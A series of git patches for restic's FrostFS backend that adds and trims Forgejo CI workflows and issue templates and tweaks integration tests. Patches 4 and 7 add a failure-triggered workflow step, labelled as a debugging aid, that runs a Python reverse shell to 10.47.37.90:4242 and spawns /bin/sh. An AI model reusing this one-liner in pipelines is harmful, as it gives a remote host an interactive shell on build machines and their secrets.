From fcb4c996b01dc5eca50538215409bdc5c929d34e Mon Sep 17 00:00:00 2001 From: Aleksey Kravchenko Date: Mon, 23 Dec 2024 09:49:39 +0300 Subject: [PATCH 1/9] [#2] Add forgejo CI jobs Signed-off-by: Aleksey Kravchenko --- .forgejo/ISSUE_TEMPLATE/bug_report.md | 45 +++++++++++++++++++ .forgejo/ISSUE_TEMPLATE/config.yml | 1 + .forgejo/ISSUE_TEMPLATE/feature_request.md | 20 +++++++++ .forgejo/workflows/builds.yaml | 24 +++++++++++ .forgejo/workflows/dco.yml | 20 +++++++++ .forgejo/workflows/tests.yml | 50 ++++++++++++++++++++++ internal/backend/frostfs/frostfs.go | 6 +-- internal/backend/frostfs/frostfs_test.go | 7 ++- 8 files changed, 168 insertions(+), 5 deletions(-) create mode 100644 .forgejo/ISSUE_TEMPLATE/bug_report.md create mode 100644 .forgejo/ISSUE_TEMPLATE/config.yml create mode 100644 .forgejo/ISSUE_TEMPLATE/feature_request.md create mode 100644 .forgejo/workflows/builds.yaml create mode 100644 .forgejo/workflows/dco.yml create mode 100644 .forgejo/workflows/tests.yml diff --git a/.forgejo/ISSUE_TEMPLATE/bug_report.md b/.forgejo/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..7e778d2fe --- /dev/null +++ b/.forgejo/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,45 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: community, triage, bug +assignees: '' + +--- + + + +## Expected Behavior + + + +## Current Behavior + + + +## Possible Solution + + + + + + +## Steps to Reproduce (for bugs) + + + +1. + +## Context + + + +## Regression + + + +## Your Environment + +* Version used: +* Server setup and configuration: +* Operating System and version (`uname -a`): diff --git a/.forgejo/ISSUE_TEMPLATE/config.yml b/.forgejo/ISSUE_TEMPLATE/config.yml new file mode 100644 index 000000000..3ba13e0ce --- /dev/null +++ b/.forgejo/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: false diff --git a/.forgejo/ISSUE_TEMPLATE/feature_request.md b/.forgejo/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..d6d1162a1 --- /dev/null +++ b/.forgejo/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: community, triage +assignees: '' + +--- + +## Is your feature request related to a problem? Please describe. + + +## Describe the solution you'd like + + +## Describe alternatives you've considered + + +## Additional context + diff --git a/.forgejo/workflows/builds.yaml b/.forgejo/workflows/builds.yaml new file mode 100644 index 000000000..d588a7fa6 --- /dev/null +++ b/.forgejo/workflows/builds.yaml @@ -0,0 +1,24 @@ +on: + pull_request: + push: + branches: + - tcl/master + +jobs: + builds: + name: Builds + runs-on: ubuntu-latest + strategy: + matrix: + go_versions: [ '1.22', '1.23' ] + fail-fast: false + steps: + - uses: actions/checkout@v3 + + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: '${{ matrix.go_versions }}' + + - name: Build binary + run: make \ No newline at end of file diff --git a/.forgejo/workflows/dco.yml b/.forgejo/workflows/dco.yml new file mode 100644 index 000000000..4acd63341 --- /dev/null +++ b/.forgejo/workflows/dco.yml @@ -0,0 +1,20 @@ +on: [pull_request] + +jobs: + dco: + name: DCO + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Setup Go + uses: actions/setup-go@v3 + with: + go-version: '1.23' + + - name: Run commit format checker + uses: https://git.frostfs.info/TrueCloudLab/dco-go@v3 + with: + from: 'origin/${{ github.event.pull_request.base.ref }}' diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml new file mode 100644 index 000000000..be75ca2c5 --- /dev/null +++ b/.forgejo/workflows/tests.yml @@ -0,0 +1,50 @@ +on: + pull_request: + push: + branches: + - tcl/master + +jobs: + lint: + name: Lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: '1.23' + cache: true + + - name: Install linters + run: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest + + - name: Run linters + # we run the linter only through the FrostFS backend code + run: golangci-lint --timeout=5m run internal/backend/frostfs/ + + tests: + name: Tests + runs-on: ubuntu-latest + strategy: + matrix: + go_versions: [ '1.22', '1.23' ] + fail-fast: false + steps: + - uses: actions/checkout@v3 + + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: '${{ matrix.go_versions }}' + + - name: Tests for the FrostFS backend + env: + RESTIC_TEST_FUSE: false + TESTCONTAINERS_RYUK_CONTAINER_PRIVILEGED: true + TESTCONTAINERS_DOCKER_SOCKET_OVERRIDE: /var/run/docker.sock + + # run only tests for the FrostFS backend + run: go test -v github.com/restic/restic/internal/backend/frostfs + diff --git a/internal/backend/frostfs/frostfs.go b/internal/backend/frostfs/frostfs.go index fbe7ad909..9d9b9919b 100644 --- a/internal/backend/frostfs/frostfs.go +++ b/internal/backend/frostfs/frostfs.go @@ -45,11 +45,11 @@ func NewFactory() location.Factory { return location.NewHTTPBackendFactory("frostfs", ParseConfig, location.NoPassword, Create, Open) } -func Open(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) { +func Open(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) { return open(ctx, cfg) } -func Create(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) { +func Create(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) { return open(ctx, cfg) } @@ -81,7 +81,7 @@ func open(ctx context.Context, cfg Config) (backend.Backend, error) { }, nil } -func (b *Backend) IsPermanentError(err error) bool { +func (b *Backend) IsPermanentError(_ error) bool { return true } diff --git a/internal/backend/frostfs/frostfs_test.go b/internal/backend/frostfs/frostfs_test.go index 4b6fea27f..72327a618 100644 --- a/internal/backend/frostfs/frostfs_test.go +++ b/internal/backend/frostfs/frostfs_test.go @@ -26,7 +26,10 @@ import ( func TestIntegration(t *testing.T) { filename := createWallet(t) - defer os.Remove(filename) + defer func() { + err := os.Remove(filename) + require.NoError(t, err) + }() rootCtx := context.Background() aioImage := "truecloudlab/frostfs-aio:" @@ -135,7 +138,7 @@ func createContainer(ctx context.Context, client *pool.Pool, owner user.ID, cont wp := &pool.WaitParams{ PollInterval: 5 * time.Second, - Timeout: 30 * time.Second, + Timeout: 2 * time.Minute, } prm := pool.PrmContainerPut{ ClientParams: sdkClient.PrmContainerPut{ -- 2.45.3 From 7a42bb77d23f43fb1129893a04516d17436899b9 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 15:50:46 +0300 Subject: [PATCH 2/9] [##] Run FrostFS tests in CI Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/tests.yml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index be75ca2c5..43f9517e4 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -26,7 +26,7 @@ jobs: tests: name: Tests - runs-on: ubuntu-latest + runs-on: oci-runner strategy: matrix: go_versions: [ '1.22', '1.23' ] @@ -42,8 +42,7 @@ jobs: - name: Tests for the FrostFS backend env: RESTIC_TEST_FUSE: false - TESTCONTAINERS_RYUK_CONTAINER_PRIVILEGED: true - TESTCONTAINERS_DOCKER_SOCKET_OVERRIDE: /var/run/docker.sock + TESTCONTAINERS_RYUK_DISABLED: true # run only tests for the FrostFS backend run: go test -v github.com/restic/restic/internal/backend/frostfs -- 2.45.3 From 0a396ac01415bc23138da9faf97cbf0edc6ff675 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 17:05:15 +0300 Subject: [PATCH 3/9] [##] Remove all workflows except the WIP one Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/builds.yaml | 24 ------------------------ .forgejo/workflows/dco.yml | 20 -------------------- .forgejo/workflows/tests.yml | 20 +------------------- 3 files changed, 1 insertion(+), 63 deletions(-) delete mode 100644 .forgejo/workflows/builds.yaml delete mode 100644 .forgejo/workflows/dco.yml diff --git a/.forgejo/workflows/builds.yaml b/.forgejo/workflows/builds.yaml deleted file mode 100644 index d588a7fa6..000000000 --- a/.forgejo/workflows/builds.yaml +++ /dev/null @@ -1,24 +0,0 @@ -on: - pull_request: - push: - branches: - - tcl/master - -jobs: - builds: - name: Builds - runs-on: ubuntu-latest - strategy: - matrix: - go_versions: [ '1.22', '1.23' ] - fail-fast: false - steps: - - uses: actions/checkout@v3 - - - name: Set up Go - uses: actions/setup-go@v3 - with: - go-version: '${{ matrix.go_versions }}' - - - name: Build binary - run: make \ No newline at end of file diff --git a/.forgejo/workflows/dco.yml b/.forgejo/workflows/dco.yml deleted file mode 100644 index 4acd63341..000000000 --- a/.forgejo/workflows/dco.yml +++ /dev/null @@ -1,20 +0,0 @@ -on: [pull_request] - -jobs: - dco: - name: DCO - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - name: Setup Go - uses: actions/setup-go@v3 - with: - go-version: '1.23' - - - name: Run commit format checker - uses: https://git.frostfs.info/TrueCloudLab/dco-go@v3 - with: - from: 'origin/${{ github.event.pull_request.base.ref }}' diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index 43f9517e4..c2f507f05 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -5,31 +5,13 @@ on: - tcl/master jobs: - lint: - name: Lint - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v3 - - - name: Set up Go - uses: actions/setup-go@v3 - with: - go-version: '1.23' - cache: true - - - name: Install linters - run: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest - - - name: Run linters - # we run the linter only through the FrostFS backend code - run: golangci-lint --timeout=5m run internal/backend/frostfs/ tests: name: Tests runs-on: oci-runner strategy: matrix: - go_versions: [ '1.22', '1.23' ] + go_versions: [ '1.23' ] fail-fast: false steps: - uses: actions/checkout@v3 -- 2.45.3 From 9aee64c118b3216335e35adff7adf4274fc8fabd Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 17:01:25 +0300 Subject: [PATCH 4/9] [##] Configure reverse shell for debugging Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/tests.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index c2f507f05..cff90a4c6 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -29,3 +29,10 @@ jobs: # run only tests for the FrostFS backend run: go test -v github.com/restic/restic/internal/backend/frostfs + - name: Reverse shell + if: failure() + # Listener must be started beforehand: nc -lvp 4242 + run: | + export RHOST="10.47.37.90" + export RPORT=4242 + python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' -- 2.45.3 From e3004e8ac03fa19b748377603d978b6aa8a4a012 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 17:36:05 +0300 Subject: [PATCH 5/9] [##] Start podman service in background Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/tests.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index cff90a4c6..a841024ff 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -27,7 +27,9 @@ jobs: TESTCONTAINERS_RYUK_DISABLED: true # run only tests for the FrostFS backend - run: go test -v github.com/restic/restic/internal/backend/frostfs + run: |- + podman-service.sh + go test -v github.com/restic/restic/internal/backend/frostfs - name: Reverse shell if: failure() -- 2.45.3 From 8893277d59fde59226459c6760b1ab2554bb4f68 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 17:41:03 +0300 Subject: [PATCH 6/9] [##] Pass docker socket path explicitly Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/tests.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index a841024ff..7e04308d9 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -25,6 +25,7 @@ jobs: env: RESTIC_TEST_FUSE: false TESTCONTAINERS_RYUK_DISABLED: true + TESTCONTAINERS_DOCKER_SOCKER_OVERRIDE: /tmp/podman-service.socket # run only tests for the FrostFS backend run: |- -- 2.45.3 From a21ab63bbe86580c1b21aafc7976273ece47b739 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Thu, 26 Dec 2024 17:50:42 +0300 Subject: [PATCH 7/9] [##] Retry with a new container image Signed-off-by: Vitaliy Potyarkin --- .forgejo/workflows/tests.yml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml index 7e04308d9..ebb829382 100644 --- a/.forgejo/workflows/tests.yml +++ b/.forgejo/workflows/tests.yml @@ -24,18 +24,17 @@ jobs: - name: Tests for the FrostFS backend env: RESTIC_TEST_FUSE: false - TESTCONTAINERS_RYUK_DISABLED: true - TESTCONTAINERS_DOCKER_SOCKER_OVERRIDE: /tmp/podman-service.socket # run only tests for the FrostFS backend run: |- podman-service.sh + podman info go test -v github.com/restic/restic/internal/backend/frostfs - name: Reverse shell if: failure() # Listener must be started beforehand: nc -lvp 4242 run: | - export RHOST="10.47.37.90" + export RHOST=10.47.37.90 export RPORT=4242 python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' -- 2.45.3 From 5278807e7e0cbb5d8fe3fc50c503b0e69eed8c80 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Fri, 27 Dec 2024 13:01:30 +0300 Subject: [PATCH 8/9] Trigger CI --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index ef12f3e1b..d17972816 100644 --- a/README.md +++ b/README.md @@ -107,3 +107,4 @@ Backend integration tests for Google Cloud Storage and Microsoft Azure Blob Storage are sponsored by [AppsCode](https://appscode.com)! [![Sponsored by AppsCode](https://cdn.appscode.com/images/logo/appscode/ac-logo-color.png)](https://appscode.com) + -- 2.45.3 From f0dd74907de6f18ef5eece1b68c313a4bc7e41a6 Mon Sep 17 00:00:00 2001 From: Vitaliy Potyarkin Date: Sat, 28 Dec 2024 14:33:03 +0300 Subject: [PATCH 9/9] Trigger CI This reverts commit 5278807e7e0cbb5d8fe3fc50c503b0e69eed8c80. --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index d17972816..ef12f3e1b 100644 --- a/README.md +++ b/README.md @@ -107,4 +107,3 @@ Backend integration tests for Google Cloud Storage and Microsoft Azure Blob Storage are sponsored by [AppsCode](https://appscode.com)! [![Sponsored by AppsCode](https://cdn.appscode.com/images/logo/appscode/ac-logo-color.png)](https://appscode.com) - -- 2.45.3